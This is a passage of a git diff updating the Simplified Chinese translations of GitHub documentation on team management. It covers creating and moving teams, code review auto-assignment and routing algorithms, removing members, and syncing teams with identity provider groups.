   - /articles/creating-a-team-early-access-program
   - /articles/creating-a-team
@@ -15,7 +15,7 @@ topics:
   - Teams
 ---
 
-Only organization owners and maintainers of a parent team can create a new child team under a parent. Owners can also restrict creation permissions for all teams in an organization. For more information, see "[Setting team creation permissions in your organization](/articles/setting-team-creation-permissions-in-your-organization)."
+只有父团队的组织所有者和维护员才能在父团队下创建新的子团队。 所有者还可以限制组织中所有团队的创建权限。 更多信息请参阅“[设置组织中的团队创建权限](/articles/setting-team-creation-permissions-in-your-organization)”。
 
 {% data reusables.organizations.team-synchronization %}
 
@@ -26,17 +26,16 @@ Only organization owners and maintainers of a parent team can create a new child
 {% data reusables.organizations.team_description %}
 {% data reusables.organizations.create-team-choose-parent %}
 {% ifversion ghec %}
-1. Optionally, if your organization or enterprise account uses team synchronization or your enterprise uses {% data variables.product.prodname_emus %}, connect an identity provider group to your team.
-    * If your enterprise uses {% data variables.product.prodname_emus %}, use the "Identity Provider Groups" drop-down menu, and select a single identity provider group to connect to the new team. For more information, "[Managing team memberships with identity provider groups](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups)."
-    * If your organization or enterprise account uses team synchronization, use the "Identity Provider Groups" drop-down menu, and select up to five identity provider groups to connect to the new team. For more information, see "[Synchronizing a team with an identity provider group](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group)."
-    ![Drop-down menu to choose identity provider groups](/assets/images/help/teams/choose-an-idp-group.png)
+1. （可选）如果您的组织或企业帐户使用团队同步或您的企业使用 {% data variables.product.prodname_emus %}，则将身份提供商组连接到您的团队。
+    * 如果您的企业使用 {% data variables.product.prodname_emus %}，请使用“Identity Provider Groups（身份提供商组）”下拉菜单，并选择单个身份提供商组以连接到新团队。 更多信息请参阅“[使用身份提供商组管理团队成员](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups)”。
+    * 如果您的组织或企业使用团队同步 ，请使用“Identity Provider Groups（身份提供商组）”下拉菜单，并选择五个身份提供商组以连接到新团队。 更多信息请参阅“[同步团队与身份提供程序组](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group)”。 ![用于选择身份提供程序组的下拉菜单](/assets/images/help/teams/choose-an-idp-group.png)
 {% endif %}
 {% data reusables.organizations.team_visibility %}
 {% data reusables.organizations.create_team %}
-1. Optionally, [give the team access to organization repositories](/articles/managing-team-access-to-an-organization-repository).
+1. （可选）[授予团队访问组织仓库的权限](/articles/managing-team-access-to-an-organization-repository)。
 
-## Further reading
+## 延伸阅读
 
-- "[About teams](/articles/about-teams)"
-- "[Changing team visibility](/articles/changing-team-visibility)"
-- "[Moving a team in your organization's hierarchy](/articles/moving-a-team-in-your-organization-s-hierarchy)"
+- "[关于团队](/articles/about-teams)"
+- “[更改团队可见性](/articles/changing-team-visibility)”
+- “[在组织的层次结构中移动团队](/articles/moving-a-team-in-your-organization-s-hierarchy)”
diff --git a/translations/zh-CN/content/organizations/organizing-members-into-teams/index.md b/translations/zh-CN/content/organizations/organizing-members-into-teams/index.md
index ebe04edd68..b15a28a074 100644
--- a/translations/zh-CN/content/organizations/organizing-members-into-teams/index.md
+++ b/translations/zh-CN/content/organizations/organizing-members-into-teams/index.md
@@ -1,6 +1,6 @@
 ---
-title: Organizing members into teams
-intro: You can group organization members into teams that reflect your company or group's structure with cascading access permissions and mentions.
+title: 将成员组织为团队
+intro: 您可以将组织成员组成团队，通过级联访问权限和提及来反映公司或群组结构。
 redirect_from:
   - /articles/setting-up-teams-improved-organization-permissions
   - /articles/setting-up-teams-for-accessing-organization-repositories
@@ -37,6 +37,6 @@ children:
   - /disabling-team-discussions-for-your-organization
   - /managing-scheduled-reminders-for-your-team
   - /deleting-a-team
-shortTitle: Organize members into teams
+shortTitle: 将成员组织成团队
 ---
 
diff --git a/translations/zh-CN/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md b/translations/zh-CN/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md
index 1430d9a82c..4c765e68a6 100644
--- a/translations/zh-CN/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md
+++ b/translations/zh-CN/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md
@@ -27,28 +27,28 @@ To reduce noise for your team and clarify individual responsibility for pull req
 
 ## About team notifications
 
-When you choose to only notify requested team members, you disable sending notifications to the entire team when the team is requested to review a pull request if a specific member of that team is also requested for review. This is especially useful when a repository is configured with teams as code owners, but contributors to the repository often know a specific individual that would be the correct reviewer for their pull request. For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)."
+When you choose to only notify requested team members, you disable sending notifications to the entire team when the team is requested to review a pull request if a specific member of that team is also requested for review. This is especially useful when a repository is configured with teams as code owners, but contributors to the repository often know a specific individual that would be the correct reviewer for their pull request. 更多信息请参阅“[关于代码所有者](/github/creating-cloning-and-archiving-repositories/about-code-owners)”。
 
 ## About auto assignment
 {% endif %}
 
-When you enable auto assignment, any time your team has been requested to review a pull request, the team is removed as a reviewer and a specified subset of team members are assigned in the team's place. Code review assignments allow you to decide whether the whole team or just a subset of team members are notified when a team is requested for review.
+When you enable auto assignment, any time your team has been requested to review a pull request, the team is removed as a reviewer and a specified subset of team members are assigned in the team's place. 代码审查分配允许您决定在请求团队审查时是通知整个团队，还是只通知一部分团队成员。
 
 When code owners are automatically requested for review, the team is still removed and replaced with individuals unless a branch protection rule is configured to require review from code owners. If such a branch protection rule is in place, the team request cannot be removed and so the individual request will appear in addition.
 
 {% ifversion fpt %}
-To further enhance your team's collaboration abilities, you can upgrade to {% data variables.product.prodname_ghe_cloud %}, which includes features like protected branches and code owners on private repositories. {% data reusables.enterprise.link-to-ghec-trial %}
+为了进一步提高团队的协作能力，您可以升级到 {% data variables.product.prodname_ghe_cloud %}，其中包括受保护的分支机构和私有仓库的代码所有者等功能。 {% data reusables.enterprise.link-to-ghec-trial %}
 {% endif %}
 
-### Routing algorithms
+### 路由算法
 
-Code review assignments automatically choose and assign reviewers based on one of two possible algorithms. 
+代码审查分配根据两种可能的算法之一自动选择和分配审查者。
 
-The round robin algorithm chooses reviewers based on who's received the least recent review request, focusing on alternating between all members of the team regardless of the number of outstanding reviews they currently have. 
+循环算法根据最近收到最少审查请求的人员选择审查者，侧重于在团队所有成员之间的轮替，而不管他们目前拥有多少未完成的审查。
 
-The load balance algorithm chooses reviewers based on each member's total number of recent review requests and considers the number of outstanding reviews for each member. The load balance algorithm tries to ensure that each team member reviews an equal number of pull requests in any 30 day period.
+负载平衡算法根据每个成员最近的审查请求总数选择审查者，并考虑每个成员未完成的审查数。 负载平衡算法努力确保每个团队成员在任意 30 天内审查相同数量的拉取请求。
 
-Any team members that have set their status to "Busy" will not be selected for review. If all team members are busy, the pull request will remain assigned to the team itself. For more information about user statuses, see "[Setting a status](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile#setting-a-status)."
+任何将状态设置为“忙碌”的团队成员将不会被选中进行审核。 如果所有团队成员都忙碌，拉取请求仍将分配给团队本身。 有关用户状态的更多信息，请参阅“[设置状态](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile#setting-a-status)”。
 
 {% if only-notify-requested-members %}
 ## Configuring team notifications
@@ -57,11 +57,9 @@ Any team members that have set their status to "Busy" will not be selected for r
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_settings %}
-5. In the left sidebar, click **Code review**
-![Code review button](/assets/images/help/teams/review-button.png)
-2. Select **Only notify requested team members.**
-![Code review team notifications](/assets/images/help/teams/review-assignment-notifications.png)
-3. Click **Save changes**.
+5. In the left sidebar, click **Code review** ![Code review button](/assets/images/help/teams/review-button.png)
+2. Select **Only notify requested team members.** ![Code review team notifications](/assets/images/help/teams/review-assignment-notifications.png)
+3. 单击 **Save changes（保存更改）**。
 {% endif %}
 
 ## Configuring auto assignment
@@ -69,30 +67,24 @@ Any team members that have set their status to "Busy" will not be selected for r
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_settings %}
-5. In the left sidebar, click **Code review**
-![Code review button](/assets/images/help/teams/review-button.png)
-6. Select **Enable auto assignment**.
-![Auto-assignment button](/assets/images/help/teams/review-assignment-enable.png)
-7. Under "How many team members should be assigned to review?", use the drop-down menu and choose a number of reviewers to be assigned to each pull request.
-![Number of reviewers dropdown](/assets/images/help/teams/review-assignment-number.png)
-8. Under "Routing algorithm", use the drop-down menu and choose which algorithm you'd like to use. For more information, see "[Routing algorithms](#routing-algorithms)."
-![Routing algorithm dropdown](/assets/images/help/teams/review-assignment-algorithm.png)
-9. Optionally, to always skip certain members of the team, select **Never assign certain team members**. Then, select one or more team members you'd like to always skip.
-![Never assign certain team members checkbox and dropdown](/assets/images/help/teams/review-assignment-skip-members.png)
+5. In the left sidebar, click **Code review** ![Code review button](/assets/images/help/teams/review-button.png)
+6. 选择 **Enable auto assignment（启用自动分配）**。 ![Auto-assignment button](/assets/images/help/teams/review-assignment-enable.png)
+7. 在“How many team members should be assigned to review?（应分配多少团队成员进行审查？）”下，使用下拉菜单选择多个要分配给每个拉取请求的审查者。 ![审查者人数下拉列表](/assets/images/help/teams/review-assignment-number.png)
+8. 在“Routing algorithm（路由算法）”下，使用下拉菜单选择要使用的算法。 更多信息请参阅“[路由算法](#routing-algorithms)”。 ![路由算法下拉列表](/assets/images/help/teams/review-assignment-algorithm.png)
+9. （可选）要始终跳过某些团队成员，请选择 **Never assign certain team members（永不分配某些团队成员）**。 然后，选择要始终跳过的一个或多个团队成员。 ![永不分配某些团队成员复选框和下拉列表](/assets/images/help/teams/review-assignment-skip-members.png)
 {% ifversion fpt or ghec or ghae-issue-5108 or ghes > 3.2 %}
-11. Optionally, to include members of child teams as potential reviewers when assigning requests, select **Child team members**.
-12. Optionally, to count any members whose review has already been requested against the total number of members to assign, select **Count existing requests**.
-13. Optionally, to remove the review request from the team when assigning team members, select **Team review request**.
+11. （可选）在分配请求时，要将子团队成员作为潜在审查者，请选择 **Child team members（子团队成员）**。
+12. （可选）要根据可分配的成员总数计算已要求审查的成员，选择 **Count existing requests（计算现有请求）**。
+13. （可选）在分配团队成员时，要从团队中删除审核请求，请选择 **Team review request（团队审核请求）**。
 {%- else %}
-10. Optionally, to only notify the team members chosen by code review assignment for each pull review request, under "Notifications" select **If assigning team members, don't notify the entire team.**
+10. （可选）要对每个拉取请求审查只通知代码审查分配所选择的团队成员，在“Notifications（通知）”下选择 **If assigning team members, don't notify the entire team（如果分配团队成员，请不要通知整个团队）**。
 {%- endif %}
-14. Click **Save changes**.
+14. 单击 **Save changes（保存更改）**。
 
 ## Disabling auto assignment
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_settings %}
-5. Select **Enable auto assignment** to remove the checkmark.
-![Code review assignment button](/assets/images/help/teams/review-assignment-enable.png)
-6. Click **Save changes**.
+5. 选择 **Enable auto assignment（启用自动分配）**以删除复选标记。 ![代码审查分配按钮](/assets/images/help/teams/review-assignment-enable.png)
+6. 单击 **Save changes（保存更改）**。
diff --git a/translations/zh-CN/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md b/translations/zh-CN/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md
index 6386e39cc6..d265f1efc0 100644
--- a/translations/zh-CN/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md
+++ b/translations/zh-CN/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md
@@ -1,6 +1,6 @@
 ---
-title: Moving a team in your organization’s hierarchy
-intro: 'Team maintainers and organization owners can nest a team under a parent team, or change or remove a nested team''s parent.'
+title: 在组织的层次结构中移动团队
+intro: 团队维护员和组织所有者可以在父团队下嵌套团队，或者更改或删除已嵌套团队的父团队。
 redirect_from:
   - /articles/changing-a-team-s-parent
   - /articles/moving-a-team-in-your-organization-s-hierarchy
@@ -14,34 +14,31 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Move a team
+shortTitle: 移动团队
 ---
 
-Organization owners can change the parent of any team. Team maintainers can change a team's parent if they are maintainers in both the child team and the parent team. Team maintainers without maintainer permissions in the child team can request to add a parent or child team. For more information, see "[Requesting to add or change a parent team](/articles/requesting-to-add-or-change-a-parent-team)" and "[Requesting to add a child team](/articles/requesting-to-add-a-child-team)."
+组织所有者可以更改任何团队的父团队。 团队维护员如果同时是子团队和父团队的维护员，则可更改团队的父团队。 没有子团队维护员权限的团队维护员可以申请添加父团队或子团队。 更多信息请参阅“[申请添加或更改父团队](/articles/requesting-to-add-or-change-a-parent-team)”和“[申请添加子团队](/articles/requesting-to-add-a-child-team)”。
 
 {% data reusables.organizations.child-team-inherits-permissions %}
 
 {% tip %}
 
-**Tips:**
-- You cannot change a team's parent to a secret team. For more information, see "[About teams](/articles/about-teams)."
-- You cannot nest a parent team beneath one of its child teams.
+**提示：**
+- 不能将团队的父团队更改为机密团队。 更多信息请参阅“[关于团队](/articles/about-teams)”。
+- 不能将父团队嵌套在其子团队下面。
 
 {% endtip %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.teams %}
-4. In the list of teams, click the name of the team whose parent you'd like to change.
-  ![List of the organization's teams](/assets/images/help/teams/click-team-name.png)
+4. 在团队列表中，单击您要更改其父团队的团队名称。 ![组织的团队列表](/assets/images/help/teams/click-team-name.png)
 {% data reusables.organizations.team_settings %}
-6. Use the drop-down menu to choose a parent team, or to remove an existing parent, select **Clear selected value**.
-  ![Drop-down menu listing the organization's teams](/assets/images/help/teams/choose-parent-team.png)
-7. Click **Update**.
+6. 使用下拉菜单选择父团队，要删除现有团队，则选择 **Clear selected value（清除所选值）**。 ![列出组织团队的下拉菜单](/assets/images/help/teams/choose-parent-team.png)
+7. 单击 **Update（更新）**。
 {% data reusables.repositories.changed-repository-access-permissions %}
-9. Click **Confirm new parent team**.
-  ![Modal box with information about the changes in repository access permissions](/assets/images/help/teams/confirm-new-parent-team.png)
+9. 单击 **Confirm new parent team（确认新的父团队）**。 ![包含仓库访问权限更改相关信息的模态框](/assets/images/help/teams/confirm-new-parent-team.png)
 
-## Further reading
+## 延伸阅读
 
-- "[About teams](/articles/about-teams)"
+- "[关于团队](/articles/about-teams)"
diff --git a/translations/zh-CN/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md b/translations/zh-CN/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md
index aba9635cbe..f41fb2bc02 100644
--- a/translations/zh-CN/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md
+++ b/translations/zh-CN/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md
@@ -1,6 +1,6 @@
 ---
-title: Removing organization members from a team
-intro: 'People with *owner* or *team maintainer* permissions can remove team members from a team. This may be necessary if a person no longer needs access to a repository the team grants, or if a person is no longer focused on a team''s projects.'
+title: 从团队中删除组织成员
+intro: 具有*所有者*或*团队维护员*权限的人员可以从团队中删除团队成员。 如果人员不再需要团队授予的仓库访问权限，或者人员不再关注团队的项目，则可能有必要这样做。
 redirect_from:
   - /articles/removing-organization-members-from-a-team-early-access-program
   - /articles/removing-organization-members-from-a-team
@@ -13,15 +13,13 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Remove members
+shortTitle: 删除成员
 ---
 
-{% data reusables.repositories.deleted_forks_from_private_repositories_warning %}  
+{% data reusables.repositories.deleted_forks_from_private_repositories_warning %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
-4. Select the person or people you'd like to remove.
-  ![Check box next to organization member](/assets/images/help/teams/team-member-check-box.png)
-5. Above the list of team members, use the drop-down menu and click **Remove from team**.
-  ![Drop-down menu with option to change role](/assets/images/help/teams/bulk-edit-drop-down.png)
+4. 选择您想要删除的一个或多个人员。 ![组织成员旁的复选框](/assets/images/help/teams/team-member-check-box.png)
+5. 在团队成员列表上方，使用下拉菜单，然后单击 **Remove from team（从团队中删除）**。 ![包含更改角色选项的下拉菜单](/assets/images/help/teams/bulk-edit-drop-down.png)
diff --git a/translations/zh-CN/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md b/translations/zh-CN/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md
index 1e2fc70a8f..cf3aabd4ab 100644
--- a/translations/zh-CN/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md
+++ b/translations/zh-CN/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md
@@ -1,6 +1,6 @@
 ---
-title: Synchronizing a team with an identity provider group
-intro: 'You can synchronize a {% data variables.product.product_name %} team with an identity provider (IdP) group to automatically add and remove team members.'
+title: 将团队与身份提供程序组同步
+intro: '您可以将 {% data variables.product.product_name %} 团队与身份提供程序 (IdP) 组同步，以自动添加和删除团队成员。'
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/synchronizing-a-team-with-an-identity-provider-group
 permissions: 'Organization owners and team maintainers can synchronize a {% data variables.product.prodname_dotcom %} team with an IdP group.'
@@ -10,95 +10,90 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Synchronize with an IdP
+shortTitle: 与 IdP 同步
 ---
 
 {% data reusables.enterprise-accounts.emu-scim-note %}
 
-## About team synchronization
+## 关于团队同步
 
 {% data reusables.identity-and-permissions.about-team-sync %}
 
-{% ifversion ghec %}You can connect up to five IdP groups to a {% data variables.product.product_name %} team.{% elsif ghae %}You can connect a team on {% data variables.product.product_name %} to one IdP group. All users in the group are automatically added to the team and also added to the parent organization as members. When you disconnect a group from a team, users who became members of the organization via team membership are removed from the organization.{% endif %} You can assign an IdP group to multiple {% data variables.product.product_name %} teams.
+{% ifversion ghec %}You can connect up to five IdP groups to a {% data variables.product.product_name %} team.{% elsif ghae %}You can connect a team on {% data variables.product.product_name %} to one IdP group. 组中的所有用户将自动添加到团队中，并作为成员添加到父组织。 当您断开组与团队的连接时，通过团队成员资格成为组织成员的用户将从组织中删除。{% endif %} 您可以将 IdP 组分配给多个 {% data variables.product.product_name %} 团队。
 
 {% ifversion ghec %}Team synchronization does not support IdP groups with more than 5000 members.{% endif %}
 
-Once a {% data variables.product.prodname_dotcom %} team is connected to an IdP group, your IdP administrator must make team membership changes through the identity provider. You cannot manage team membership on {% data variables.product.product_name %}{% ifversion ghec %} or using the API{% endif %}.
+{% data variables.product.prodname_dotcom %} 团队连接到 IdP 组后，您的 IdP 管理员必须通过身份提供程序进行团队成员资格更改。 You cannot manage team membership on {% data variables.product.product_name %}{% ifversion ghec %} or using the API{% endif %}.
 
 {% ifversion ghec %}{% data reusables.enterprise-accounts.team-sync-override %}{% endif %}
 
 {% ifversion ghec %}
-All team membership changes made through your IdP will appear in the audit log on {% data variables.product.product_name %} as changes made by the team synchronization bot. Your IdP will send team membership data to {% data variables.product.prodname_dotcom %} once every hour.
-Connecting a team to an IdP group may remove some team members. For more information, see "[Requirements for members of synchronized teams](#requirements-for-members-of-synchronized-teams)."
+通过 IdP 进行的所有团队成员资格更改都将在 {% data variables.product.product_name %} 审核日志中显示为团队同步自动程序所进行的更改。 您的 IdP 会将团队成员数据发送至 {% data variables.product.prodname_dotcom %}，每小时一次。 将团队连接到 IdP 组可能会删除一些团队成员。 更多信息请参阅“[已同步团队成员的要求](#requirements-for-members-of-synchronized-teams)”。
 {% endif %}
 
 {% ifversion ghae %}
-When group membership changes on your IdP, your IdP sends a SCIM request with the changes to {% data variables.product.product_name %} according to the schedule determined by your IdP. Any requests that change {% data variables.product.prodname_dotcom %} team or organization membership will register in the audit log as changes made by the account used to configure user provisioning. For more information about this account, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)." For more information about SCIM request schedules, see "[Check the status of user provisioning](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/application-provisioning-when-will-provisioning-finish-specific-user)" in the Microsoft Docs.
+当 Idp 上的组成员身份发生变化时，您的 IdP 会根据 IdP 确定的时间表发送 SCIM 请求，请求更改 {% data variables.product.product_name %}。 更改 {% data variables.product.prodname_dotcom %} 团队或组织成员资格的任何请求都将在审核日志中注册为用于配置用户预配的帐户所做的更改。 有关此帐户的更多信息，请参阅“[配置企业的用户预配](/admin/authentication/configuring-user-provisioning-for-your-enterprise)”。 有关 SCIM 请求计划的更多信息，请参阅 Microsoft 文档中的“[检查用户预配状态](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/application-provisioning-when-will-provisioning-finish-specific-user)”。
 {% endif %}
 
-Parent teams cannot synchronize with IdP groups. If the team you want to connect to an IdP group is a parent team, we recommend creating a new team or removing the nested relationships that make your team a parent team. For more information, see "[About teams](/articles/about-teams#nested-teams)," "[Creating a team](/organizations/organizing-members-into-teams/creating-a-team)," and "[Moving a team in your organization's hierarchy](/articles/moving-a-team-in-your-organizations-hierarchy)."
+父团队无法与 IdP 组同步。 如果要连接到 IdP 组的团队是父团队，我们建议您创建一个新团队或删除使团队成为父团队的嵌套关系。 更多信息请参阅“[关于团队](/articles/about-teams#nested-teams)”、“[创建团队](/organizations/organizing-members-into-teams/creating-a-team)”和“[在组织的层次结构中移动团队](/articles/moving-a-team-in-your-organizations-hierarchy)”。
 
-To manage repository access for any {% data variables.product.prodname_dotcom %} team, including teams connected to an IdP group, you must make changes with {% data variables.product.product_name %}. For more information, see "[About teams](/articles/about-teams)" and "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)." 
+要管理 {% data variables.product.prodname_dotcom %} 团队（包括连接到 IdP 组的团队）的仓库访问权限，您必须使用 {% data variables.product.product_name %} 进行更改。 更多信息请参阅“[关于团队](/articles/about-teams)”和“[管理团队对组织仓库的访问](/articles/managing-team-access-to-an-organization-repository)”。
 
-{% ifversion ghec %}You can also manage team synchronization with the API. For more information, see "[Team synchronization](/rest/reference/teams#team-sync)."{% endif %}
+{% ifversion ghec %}You can also manage team synchronization with the API. 更多信息请参阅“[团队同步](/rest/reference/teams#team-sync)”。{% endif %}
 
 {% ifversion ghec %}
-## Requirements for members of synchronized teams
+## 已同步团队成员的要求
 
-After you connect a team to an IdP group, team synchronization will add each member of the IdP group to the corresponding team on {% data variables.product.product_name %} only if:
-- The person is a member of the organization on {% data variables.product.product_name %}.
-- The person has already logged in with their user account on {% data variables.product.product_name %} and authenticated to the organization or enterprise account via SAML single sign-on at least once.
-- The person's SSO identity is a member of the IdP group.  
+将团队连接到 IdP 组后，团队同步将 IdP 组的每个成员添加到 {% data variables.product.product_name %} 上的相应团队，但需满足以下条件：
+- 此人是 {% data variables.product.product_name %} 上的组织的成员。
+- 此人已使用 {% data variables.product.product_name %} 上的用户帐户登录，并且至少一次通过 SAML 单点登录向组织或企业帐户验证。
+- 此人的 SSO 身份是 IdP 组的成员。
 
-Existing teams or group members who do not meet these criteria will be automatically removed from the team on {% data variables.product.product_name %} and lose access to repositories. Revoking a user's linked identity will also remove the user from from any teams mapped to IdP groups. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)" and "[Viewing and managing a user's SAML access to your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-a-linked-identity)."
+不符合这些条件的现有团队或组成员将被从 {% data variables.product.product_name %} 团队中自动删除，并失去对仓库的访问权限。 撤销用户关联的身份也会将用户从映射到 IdP 组的任何团队中删除。 更多信息请参阅“[查看和管理成员对组织的 SAML 访问](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)”和“[查看和管理用户对企业的 SAML 访问](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-a-linked-identity)”。
 
-A removed team member can be added back to a team automatically once they have authenticated to the organization or enterprise account using SSO and are moved to the connected IdP group.
+删除后的团队成员在使用 SSO 向组织或企业帐户进行身份验证后可以自动添加回团队，并移动到已连接的 IdP 组。
 
-To avoid unintentionally removing team members, we recommend enforcing SAML SSO in your organization or enterprise account, creating new teams to synchronize membership data, and checking IdP group membership before synchronizing existing teams. For more information, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)" and "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
+为避免无意中删除团队成员，建议在组织或企业帐户中强制实施 SAML SSO，创建新团队以同步成员资格数据，并在同步现有团队之前检查 IdP 组成员资格。 更多信息请参阅“[对组织实施 SAML 单点登录](/articles/enforcing-saml-single-sign-on-for-your-organization)”和“[为企业配置 SAML 单点登录](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)”。
 
 {% endif %}
 
-## Prerequisites
+## 基本要求
 
 {% ifversion ghec %}
-Before you can connect a {% data variables.product.product_name %} team with an identity provider group, an organization or enterprise owner must enable team synchronization for your organization or enterprise account. For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" and "[Managing team synchronization for organizations in your enterprise account](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)."
+在连接 {% data variables.product.product_name %} 团队与身份提供程序组之前，组织或企业所有者必须为组织或企业帐户启用团队同步。 更多信息请参阅“[管理组织的团队同步](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)”和“[管理企业帐户中组织的团队同步](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)”。
 
-To avoid unintentionally removing team members, visit the administrative portal for your IdP and confirm that each current team member is also in the IdP groups that you want to connect to this team. If you don't have this access to your identity provider, you can reach out to your IdP administrator.
+为避免无意中删除团队成员，请访问 IdP 的管理门户，并确认每个当前团队成员也位于要连接到此团队的 IdP 组中。 如果您没有身份提供程序的这一访问权限，在可以联系 IdP 管理员。
 
-You must authenticate using SAML SSO. For more information, see "[Authenticating with SAML single sign-on](/articles/authenticating-with-saml-single-sign-on)."
+您必须使用 SAML SSO 进行身份验证。 更多信息请参阅“[使用 SAML 单点登录进行身份验证](/articles/authenticating-with-saml-single-sign-on)”。
 
 {% elsif ghae %}
-Before you can connect a {% data variables.product.product_name %} team with an IdP group, you must first configure user provisioning for {% data variables.product.product_location %} using a supported System for Cross-domain Identity Management (SCIM). For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)."
+在连接 {% data variables.product.product_name %} 团队与 IdP 组时，您必须先使用支持的跨域身份管理系统(SCIM) 配置 {% data variables.product.product_location %} 的用户预配。 更多信息请参阅“[配置企业的用户预配](/admin/authentication/configuring-user-provisioning-for-your-enterprise)”。
 
-Once user provisioning for {% data variables.product.product_name %} is configured using SCIM, you can assign the {% data variables.product.product_name %} application to every IdP group that you want to use on {% data variables.product.product_name %}. For more information, see [Configure automatic user provisioning to GitHub AE](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-ae-provisioning-tutorial#step-5-configure-automatic-user-provisioning-to-github-ae) in the Microsoft Docs.
+在使用 SCIM 配置 {% data variables.product.product_name %} 的用户预配后，您可以将 {% data variables.product.product_name %} 应用程序分配到您想要在 {% data variables.product.product_name %} 上使用的每个 IdP 组。 更多信息请参阅 Microsoft 文档中的[配置 GitHub AE 的自动用户预配](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-ae-provisioning-tutorial#step-5-configure-automatic-user-provisioning-to-github-ae)。
 {% endif %}
 
-## Connecting an IdP group to a team
+## 将 IdP 组连接到团队
 
-When you connect an IdP group to a {% data variables.product.product_name %} team, all users in the group are automatically added to the team. {% ifversion ghae %}Any users who were not already members of the parent organization members are also added to the organization.{% endif %}
+将 IdP 组连接到 {% data variables.product.product_name %} 团队时，组中的所有用户都会自动添加到团队中。 {% ifversion ghae %}任何尚未成为父组织成员的用户也会添加到组织。{% endif %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_settings %}
 {% ifversion ghec %}
-6. Under "Identity Provider Groups", use the drop-down menu, and select up to 5 identity provider groups.
-    ![Drop-down menu to choose identity provider groups](/assets/images/help/teams/choose-an-idp-group.png){% elsif ghae %}
-6. Under "Identity Provider Group", use the drop-down menu, and select an identity provider group from the list.
-    ![Drop-down menu to choose identity provider group](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png){% endif %}
-7. Click **Save changes**.
+6. 在“Identity Provider Groups（身份提供程序组）”下，使用下拉菜单，选择最多 5 个身份提供程序组。 ![Drop-down menu to choose identity provider groups](/assets/images/help/teams/choose-an-idp-group.png){% elsif ghae %}
+6. 在“Identity Provider Groups（身份提供程序组）”下，使用下拉菜单从列表中选择身份提供程序组。 ![Drop-down menu to choose identity provider group](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png){% endif %}
+7. 单击 **Save changes（保存更改）**。
 
-## Disconnecting an IdP group from a team
